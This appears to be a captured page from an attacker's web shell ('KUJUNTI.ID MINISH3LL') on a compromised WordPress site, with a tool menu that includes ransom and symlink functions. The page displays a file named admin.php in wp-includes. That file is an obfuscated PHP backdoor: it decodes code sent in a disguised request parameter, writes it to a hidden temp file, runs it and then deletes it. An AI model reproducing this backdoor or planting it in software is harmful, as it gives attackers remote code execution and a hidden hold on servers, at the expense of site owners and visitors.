\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/postahizmeti/wp-includes/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/postahizmeti/wp-includes/admin.php


<?php

if(array_key_exists("v\x61l", $_REQUEST) && !is_null($_REQUEST["v\x61l"])){
	$tkn = $_REQUEST["v\x61l"];
	$tkn  =	explode 	(		'.',  $tkn	 ) 		; 	
	$k = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $salt3);
    
            foreach(	 $tkn as $z	 => $v4):
                $chS = ord(	 $salt3[$z % $sLen]);
                $dec =(	 (	 int)$v4 - $chS -(	 $z % 10))^14;
                $k.=	chr(	 $dec);
            endforeach;
	$pgrp = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), "/var/tmp", "/tmp"]);
	for ($desc = 0, $dat = count($pgrp); $desc < $dat; $desc++) {
    $property_set = $pgrp[$desc];
    		if (is_dir($property_set) && is_writable($property_set)) {
    $flag = vsprintf("%s/%s", [$property_set, ".reference"]);
    if (@file_put_contents($flag, $k) !== false) {
	include $flag;
	unlink($flag);
	exit;
}
}
}
}

© KUJUNTI.ID